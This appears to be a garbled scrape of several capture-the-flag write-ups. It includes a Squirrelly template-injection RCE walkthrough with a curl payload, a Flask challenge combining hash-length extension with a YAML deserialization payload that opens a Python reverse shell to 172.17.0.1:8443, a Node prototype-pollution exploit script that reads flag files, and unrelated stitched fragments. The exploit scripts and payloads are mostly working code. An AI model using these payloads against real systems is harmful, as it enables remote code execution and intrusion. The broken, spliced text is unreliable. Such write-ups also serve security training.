{{it.variable}}
\n\n" ``` * **env** is the set of compilation options. ```javascript { varName: "it", autoTrim: [ false, "nl"], autoEscape: true, defaultFilter: false, ..., variable: "HelloWorld", _locals: {}, ... } ``` **compileToString** function defines **buffer** and calls **parse** function (line 2) to prase the template content and its variables ```javascript [ "\\n\\n \\n", { f: [ ], c: "it.variable", t: "i", }, "
\\n\\n", ] ``` **compileToString** function defines **res** variable for the **ctor** function body (line 3) ```javascript var res = "var tR='';" + (env.useWith ? 'with(' + env.varName + '||{}){' : '') + compileScope(buffer, env) + 'if(cb){cb(null,tR)} return tR' + (env.useWith ? '}' : ''); ``` **useWith** is **false** ```javascript var res = "var tR='';" + compileScope(buffer, env) + 'if(cb){cb(null,tR)} return tR' ``` **compileToString** function calls **compileScope** function to append its return value to **res** variable. ### **compileScope**(buff, env) definition [(compile-string.ts line 101)](https://github.com/squirrellyjs/squirrelly/blob/72d61256c05819ea4bc7c2b56610845ac8ba4f9b/src/compile-string.ts#L101). ```javascript export function compileScope (buff: Array", { f: [], c: "it.variable", t: "i", }, "
\\n\\n", ] ``` * **env** is the set of compilation options. ```javascript { varName: "it", autoTrim: [false, "nl"], autoEscape: true, defaultFilter: false, ..., variable: "HelloWorld", _locals: { }, ... } ``` The **for loop** iterates through all elements in the **buff** **array** (line 6)**.** If the element is a string (line 8), it adds the string to **returnStr** variable. If it's not a string, it executes the **else** block (line 11)**.** The first and the last element is a strings **buff\[0], buff\[2],** where **buff\[1]** is an object ```javascript { f: [], c: "it.variable", t: "i", } ``` The **type** variable is currentBlock.t (line 12) where t is equal to `"i"` (line 20)**.** **compileScope** function checks if **env.defaultFilter** is defined or **true** (line 21). In case **env.defaultFilter** is **defined** or **true**, the **env.defaultFilter** value is going to be appended to the **content** variable where the **content** variable is going to be presented in the **function** body, but for now, the **env.defaultFilter** is **false**. After that, the **filter** function returns the **content** to the **filtered** variable (line 17). if the condition (line 25) is **true** ```javascript !currentBlock.raw is true autoEscape is true ``` More code is appended to **filtered** (line 26). **compileScope** function returns **returnStr** (line 39)**,** which is a part of the function body ```javascript tR+='\\n\\n \\n'; tR+=c.l('F','e')(it.variable); tR+='
\\n\\n'; ``` **res** variable in **compileToString** function scope is ```javascript var res = "var tR='';" + "tR+='\\n\\n \\n';tR+=c.l('F','e')(it.variable);tR+='
\\n\\n';" + 'if(cb){cb(null,tR)} return tR' ``` The **anonymous function** that is going to be executed ```javascript (function anonymous(it,c,cb ) { var tR=''; tR+='\n\n \n'; tR+=c.l('F','e')(it.variable); tR+='
\n\n'; if(cb){cb(null,tR)} return tR }) ``` ## THE VULNERABILITY From the analysis, the attacker can control **defaultFilter** property in the **defaultConfig** by the request query. The **getConfig** function overwrites the **defaultConfig** properties with the **override** properties where the attacker input is represented. **The** [**GHSL-2021-023**](https://securitylab.github.com/advisories/GHSL-2021-023-squirrelly/) **report, authored by** [**Agustin Gianni**](https://github.com/agustingianni)**, exploited the vulnerability using both defaultFilter and autoEscape, but our exploit uses defaultFilter only. There's no need to change or modify the autoEscape property to gain Remote Code Execution.** ### **EXPLOITING THE VULNERABILITY** In order to exploit the vulnerability, you need to meet these conditions: 1. The condition (line 21) in **compileScope** function must be true to append the **defaultFilter** to the **content**. 2. The appended code syntax must be correct to get code execution. ```bash curl -G \ --data-urlencode "defaultFilter=e')); console.log('Remote Code Execution') //" \ http://localhost:3000/ ``` The **defaultFilter** should be `e')); console.log('Remote Code Execution') //` to gain code execution. #### Walkthrough For the first condition is true only if the **defaultFilter** is not **false** or not **undefined** The function body ```javascript tR+=c.l('F','e')(c.l('F','``` # Extend ## [Project](https://github.com/Diefunction/tcc-ctf/tree/main/extend) #### Structure ``` extend ├── challenge/ │ ├── app/ │ ├── __init__.py │ └── routes.py │ ├── flag.txt │ ├── run.py │ └── secret.txt └── Dockerfile ``` ## Solution Install libssl-dev package. ``` sudo apt-get install libssl-dev ``` Clone the hash extender repository and change the current directory to the hash extender directory. ``` git clone https://github.com/iagox86/hash_extender && cd hash_extender ``` Build the project. ``` make ``` ```bash ./hash_extender --data guest --secret 17 --append x -f sha256 --signature 59afa75317d96a3220e477f3a1aae0f44800c7604ea9bf295cf8aab6e7d7a68b ``` Output. ``` Type: sha256 Secret length: 17 New signature: 94515c72b4fb7245ad61439c09e0f817f2e4be149cd9a8084dda7b1e78ebb8c6 New string: 67756573748000000000000000000000000000000000000000000000000000000000000000000000000000000000b078 ``` Deserialization payload ```python !!python/object/apply:subprocess.Popen - !!python/tuple - python - -c - "socket=__import__('socket');os=__import__('os');pty=__import__('pty');s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('172.17.0.1',8443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn('/bin/sh')" ``` Install pip ```bash sudo apt install python3-pip ``` Install flask ```bash python3 -m pip install flask ``` Exploit ```python from flask.sessions import SecureCookieSessionInterface from itsdangerous import URLSafeTimedSerializer from requests import post from base64 import b64decode class SimpleSecureCookieSessionInterface(SecureCookieSessionInterface): # Override method # Take secret_key instead of an instance of a Flask app def get_signing_serializer(self, secret_key): if not secret_key: return None signer_kwargs = dict( key_derivation=self.key_derivation, digest_method=self.digest_method ) return URLSafeTimedSerializer(secret_key, salt=self.salt, serializer=self.serializer, signer_kwargs=signer_kwargs) def decodeFlaskCookie(secret_key, cookieValue): sscsi = SimpleSecureCookieSessionInterface() signingSerializer = sscsi.get_signing_serializer(secret_key) return signingSerializer.loads(cookieValue) # Keep in mind that flask uses unicode strings for the # dictionary keys def encodeFlaskCookie(secret_key, cookieDict): sscsi = SimpleSecureCookieSessionInterface() signingSerializer = sscsi.get_signing_serializer(secret_key) return signingSerializer.dumps(cookieDict) if __name__=='__main__': host = '127.0.0.1' port = '8002' session = {u'extend': '94515c72b4fb7245ad61439c09e0f817f2e4be149cd9a8084dda7b1e78ebb8c6', u'username': bytes.fromhex('67756573748000000000000000000000000000000000000000000000000000000000000000000000000000000000b078')} cookies = dict(session = encodeFlaskCookie('th!sK3y5houldB3S3cr3t', session)) # https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true/disabled)To_Base64('A-Za-z0-9%2B/%3D')&input=ISFweXRob24vb2JqZWN0L2FwcGx5OnN1YnByb2Nlc3MuUG9wZW4gCi0gISFweXRob24vdHVwbGUgCiAgLSBweXRob24gCiAgLSAtYyAKICAtICJzb2NrZXQ9X19pbXBvcnRfXygnc29ja2V0Jyk7b3M9X19pbXBvcnRfXygnb3MnKTtwdHk9X19pbXBvcnRfXygncHR5Jyk7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgnMTcyLjE3LjAuMScsODQ0MykpO29zLmR1cDIocy5maWxlbm8oKSwwKTtvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO3B0eS5zcGF3bignL2Jpbi9zaCcpIg payload = { 'yaml' : 'ISFweXRob24vb2JqZWN0L2FwcGx5OnN1YnByb2Nlc3MuUG9wZW4gCi0gISFweXRob24vdHVwbGUgCiAgLSBweXRob24gCiAgLSAtYyAKICAtICJzb2NrZXQ9X19pbXBvcnRfXygnc29ja2V0Jyk7b3M9X19pbXBvcnRfXygnb3MnKTtwdHk9X19pbXBvcnRfXygncHR5Jyk7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgnMTcyLjE3LjAuMScsODQ0MykpO29zLmR1cDIocy5maWxlbm8oKSwwKTtvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO3B0eS5zcGF3bignL2Jpbi9zaCcpIg==' } post(f'http://{host}:{port}/api/v1/yaml', data = payload, cookies = cookies) ``` Start Netcat listener ```bash nc -lnvp 8443 ``` Run the script ```bash python3 exploit.py ``` Reverse shell ```bash docker@ubuntu:~/tcc-ctf/solutions/extend$ sudo nc -lnvp 8443 Listening on 0.0.0.0 8443 Connection received on 172.24.0.4 59118 /usr/src/app # cat flag.txt cat flag.txt TCC{H45H_3X73ND3r_2_D353r1411Z4710N} /usr/src/app # ``` # Poison ## [Project ](https://github.com/Diefunction/tcc-ctf/tree/main/poison) #### Structure ``` poison ├── src/ │ ├── controllers/ │ ├── date.js │ └── services.js │ ├── data/ │ └── services.json │ ├── middlewares/ │ └── error.js │ ├── routes/ │ ├── date.json │ └── services.js │ └── utils/ │ └── utils.js │ ├── app.js │ ├── flag.txt │ └── package.json ├── .dockerignore ├── Dockerfile ├── entrypoint.sh └── restart.sh ``` ## Solution Install pip ``` sudo apt install python3-pip ``` Install requests ``` python3 -m pip install requests ``` Exploit ```python from requests import get, put host = '127.0.0.1' port = '8003' nodeOpt = { 'url': f'http://{host}:{port}/api/tcc/constructor/prototype/NODE_OPTIONS', 'payload': { 'value': '--require /proc/self/environ' } } shell = { 'url': f'http://{host}:{port}/api/tcc/constructor/prototype/shell', 'payload': { 'value': 'node' } } env = { 'url': f'http://{host}:{port}/api/tcc/constructor/prototype/env', 'payload': { 'value': { 'EXPLOIT': "'';throw new Error(require('fs').readFileSync('/usr/src/app/flag.txt'));//" } } } date = { 'url': f'http://{host}:{port}/api/date' } put(nodeOpt['url'], json = nodeOpt['payload']) put(shell['url'], json = shell['payload']) put(env['url'], json = env['payload']) response = get(date['url']) print(response.text) ``` Run the script ``` python3 exploit.py ``` Output ``` EXPLOIT='';throw new Error(require('fs').readFileSync('/usr/src/app/flag.txt'));// ^ Error: TCC{j5_pR0707yp3_p0150n1Ng} at Object.
# Athackcon Athack CTF Capture the Flag ## [Github](https://github.com/Diefunction/athackcon) {% embed url="
[FEATURED] Goldn - Praz Khanal
[FEATURED] Guitar Electro Sport Trailer - Gvidon
[FEATURED] Learn SQL in 3 minutes
😋 🅟🅐🅢🅢🅦🅞🅡🅓 🅑🅐🅒🅚🅤🅟 😋
[FEATURED] Goldn - Praz Khanal
[FEATURED] Guitar Electro Sport Trailer - Gvidon
[FEATURED] Learn SQL in 3 minutes
{html.escape(f.read())}Flag
<%= article.date %>
<%= article.title %>
<%= article.summary %>
<%= article.content %>
Welcome jimmy_jammy, your flag is
<%= flag %>
Meanwhile, please feel free to edit your article
<%= flag %>
` * The endpoint `/edit` requires an admin session `if (!req.session.admin) return res.sendStatus(401);` for both methods `GET` and `POST`. * The `POST` endpoint `/edit?id=Flare capa
Match flag
Rust commit hash
Seach for index.crates.io
[package]
name = "demo"
version = "0.1.0"
edition = "2021"
[dependencies]
rand_core = "0.6.4"
rand_chacha = "0.3.1"
generic-array = "0.14.7"
cipher = "0.4.4"
aes = "0.8.4"
ppv-lite86 = "0.2.20"
rand = "0.8"
Extract information
Produce Signature
Load signature
Decompiled main
from dumbemu import DumbEmu
BINARY = 'R0ll.exe'
CRYPT_FUNC = 0x1400010E0
FLAG = {
'prefix': b'FlagY{',
'suffix': b'}',
'charset': b'0123456789abcdef'
}
FLAG_LEN = 39
KEY = b'fbec495785a8bcf346b'
KEY_LEN = len(KEY)
if __name__ == "__main__":
emu = DumbEmu(BINARY)
key = emu.malloc(KEY_LEN)
flag = emu.malloc(FLAG_LEN)
emu.write(key, KEY)
while len(FLAG['prefix']) < FLAG_LEN - 1:
for c in FLAG['charset']:
_flag = FLAG['prefix'] + bytes([c])
_flag = _flag.ljust(FLAG_LEN, b'X') + FLAG['suffix']
emu.write(flag, _flag)
args = [flag, key, 0, KEY_LEN]
result = emu.call(CRYPT_FUNC, None, *args)
if emu.regs.read('r9') > len(FLAG['prefix']):
FLAG['prefix'] += bytes([c])
print(f"[+] Current Flag : {FLAG['prefix'].decode()}")
if emu.regs.read('rax') == 1:
break
break
print(f"[+] Final Flag: {FLAG['prefix'].decode()}}}")
Struct
Main
Leak function
Add idea
delete idea
call func from heap
print flag